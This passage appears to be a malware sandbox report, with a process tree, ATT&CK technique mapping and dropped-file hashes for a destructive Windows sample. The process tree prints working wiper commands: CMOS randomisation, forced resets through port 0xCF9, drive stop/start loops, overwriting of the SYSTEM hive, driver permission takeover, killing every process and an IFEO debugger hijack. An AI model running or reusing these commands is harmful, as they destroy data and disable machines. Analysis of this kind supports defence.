  powershell -Command "$s='[DllImport(\"inpout32.dll\")]static extern void Out32(short a,short d);'; try{ Add-Type -MemberDefinition $s -Name 'IO' -Namespace 'HW'; [HW.IO]::Out32(0xCF9,0x02); Start-Sleep -Milliseconds 100; [HW.IO]::Out32(0xCF9,0x0E); Start-Sleep -Milliseconds 50; [HW.IO]::Out32(0xCF9,0x06); Start-Sleep -Milliseconds 50; [HW.IO]::Out32(0xCF9,0x0A) } catch{}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1468
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\vnkw21q1\vnkw21q1.cmdline"
    3⤵
    PID:956
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5FE4.tmp" "c:\Users\Admin\AppData\Local\Temp\vnkw21q1\CSC35474CB7AA14480496C1ECDD4337AD18.TMP"
      4⤵
      PID:3300
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\drivers\TeeDriverW8x64.sys" /a
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:4044
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\drivers\HECI.sys" /a
  2⤵
  - Modifies file permissions
  PID:2952
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\drivers\TeeDriverW8x64.sys" /grant Everyone:F /c /q
  2⤵
  - Modifies file permissions
  PID:1768
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\drivers\HECI.sys" /grant Everyone:F /c /q
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:2864
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Get-PnpDevice -Class 'System' | Where-Object {$_.FriendlyName -like '*MEI*' -or $_.FriendlyName -like '*Management Engine*' -or $_.FriendlyName -like '*HECI*'} | Disable-PnpDevice -Confirm:$false -ErrorAction SilentlyContinue"
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  PID:2360
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$s='[DllImport(\"kernel32.dll\")]static extern IntPtr CreateFile(string n,uint a,uint m,IntPtr s,uint c,uint f,IntPtr t);[DllImport(\"kernel32.dll\")]static extern bool DeviceIoControl(IntPtr h,uint cc,IntPtr i,uint is,IntPtr o,uint os,ref uint b,IntPtr p);'; Add-Type -MemberDefinition $s -Name 'S' -Namespace 'P'; $scsiPassThrough=[byte[]]::new(56+6); [BitConverter]::GetBytes(56)|CopyTo($scsiPassThrough,0); $scsiPassThrough[4]=6; $scsiPassThrough[5]=1; $scsiPassThrough[6]=0; $scsiPassThrough[7]=0x20; [BitConverter]::GetBytes(64)|CopyTo($scsiPassThrough,8); $scsiPassThrough[12]=0; $scsiPassThrough[13]=0; $scsiPassThrough[14]=0; [BitConverter]::GetBytes(1)|CopyTo($scsiPassThrough,16); $scsiPassThrough[32]=6; $ob=[byte[]]::new(64); for($d=0;$d -lt 4;$d++){$p='\\.\PhysicalDrive'+$d; $h=[P.S]::CreateFile($p,0xC0000000,3,[IntPtr]::Zero,3,0x80,[IntPtr]::Zero); if($h -ne [IntPtr]::Zero){for($i=0;$i -lt 5000;$i++){$scsiPassThrough[56]=0x1B; $br=0; [P.S]::DeviceIoControl($h,0x4D004,[System.Runtime.InteropServices.Marshal]::UnsafeAddrOfPinnedArrayElement($scsiPassThrough,0),62,[System.Runtime.InteropServices.Marshal]::UnsafeAddrOfPinnedArrayElement($ob,0),64,[ref]$br,[IntPtr]::Zero); Start-Sleep -Milliseconds 1; $scsiPassThrough[56]=0x1C; [P.S]::DeviceIoControl($h,0x4D004,[System.Runtime.InteropServices.Marshal]::UnsafeAddrOfPinnedArrayElement($scsiPassThrough,0),62,[System.Runtime.InteropServices.Marshal]::UnsafeAddrOfPinnedArrayElement($ob,0),64,[ref]$br,[IntPtr]::Zero); Start-Sleep -Milliseconds 1}}}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2200
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\kmc45m1n\kmc45m1n.cmdline"
    3⤵
    PID:868
- C:\Windows\system32\reg.exe
  reg save HKLM\SYSTEM\SystemBackup.hiv /y
  2⤵
  - OS Credential Dumping: Security Account Manager
  PID:4984
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$f=[System.IO.File]::OpenWrite('C:\Windows\System32\config\SYSTEM'); $b=[byte[]]::new(1048576); (New-Object System.Security.Cryptography.RNGCryptoServiceProvider).GetBytes($b); $f.Seek(0,[System.IO.SeekOrigin]::Begin); $f.Write($b,0,$b.Length); $f.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2288
- C:\Windows\system32\cmd.exe
  cmd /c "for /f "skip=3 tokens=2" %a in ('tasklist /fi "imagename eq *.exe" /nh 2^>nul') do taskkill /f /pid %a >nul 2>&1"
  2⤵
  PID:1688
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq *.exe" /nh 2>nul
    3⤵
    PID:1296
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\*" /v GlobalFlag /t REG_DWORD /d 0x00002000 /f
  2⤵
  PID:2392
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\*" /v Debugger /t REG_SZ /d "rundll32.exe kernel32.dll,Sleep 10000" /f
  2⤵
  PID:4820
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "for($j=0;$j -lt [Environment]::ProcessorCount;$j++){ Start-Job { while($true){ $a=0; for($k=0;$k -lt 1000000;$k++){ $a+=$k} } } }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1784
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$s='[DllImport(\"inpout32.dll\")]static extern void Out32(short a,short d);[DllImport(\"inpout32.dll\")]static extern short Inp32(short a);'; try{ Add-Type -MemberDefinition $s -Name 'IO' -Namespace 'HW'; for($r=0;$r -lt 128;$r++){ [HW.IO]::Out32(0x70,$r); [HW.IO]::Out32(0x71,(Get-Random -Min 0 -Max 255)) }; [HW.IO]::Out32(0x70,0x2E); [HW.IO]::Out32(0x71,0xFF); [HW.IO]::Out32(0x70,0x2F); [HW.IO]::Out32(0x71,0xFF) } catch{}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3944

C:\Windows\System32\Upfc.exe
C:\Windows\System32\Upfc.exe /launchtype periodic /cv CUPARfoZ3kiOHkspCtdwag.0
1⤵
PID:1588

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
PID:1936

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in Windows directory
- Modifies data under HKEY_USERS
PID:2468

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Drops file in System32 directory
PID:1580

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:976

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Port Monitors

T1547.010

Print Processors

T1547.012

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Power Settings

T1653

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Port Monitors

T1547.010

Print Processors

T1547.012

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Defense Evasion

Direct Volume Access

T1006

File and Directory Permissions Modification

T1222

Windows File and Directory Permissions Modification

T1222.001

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Ignore Process Interrupts

T1564.011

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Safe Mode Boot

T1562.009

Indicator Removal

T1070

File Deletion

T1070.004

Network Share Connection Removal

T1070.005

Modify Registry

T1112

Subvert Trust Controls

T1553

SIP and Trust Provider Hijacking

T1553.003

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

OS Credential Dumping

T1003

Security Account Manager

T1003.002

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
TLSH
T1CE51EE323375B1E888167F071E681A8053BF4355EA94AF1CB698621ED93641B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

WMSDKNS.XML

Path C:\Users\Admin\AppData\Local\Microsoft\Windows Media\12.0\WMSDKNS.XML
Size 9KB
SHA256 cb87767c4a384c24e4a0f88455f59101b1ae7b4fb8de8a5adb4136c5f7ee545b
MD5 7050d5ae8acfbe560fa11073fef8185d
SHA1 5bc38e77ff06785fe0aec5a345c4ccd15752560e
SHA512 a7a295ac8921bb3dde58d4bcde9372ed59def61d4b7699057274960fa8c1d1a1daff834a93f7a0698e9e5c16db43af05e9fd2d6d7c9232f7d26ffcff5fc5900b
SSDEEP 96:/YkZRAF6zyHUhm77yB1pZYCEnfHrHH7B6xTGH+YCLV3zwULJEYCJWyHBt3zwFRh+:/2FV0bBPCfUdY
TLSH
T10022A2A194818DD206290E275DB95C0DDA8CE9D3832C24997C9EEB7FDFB1C00355FB6A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download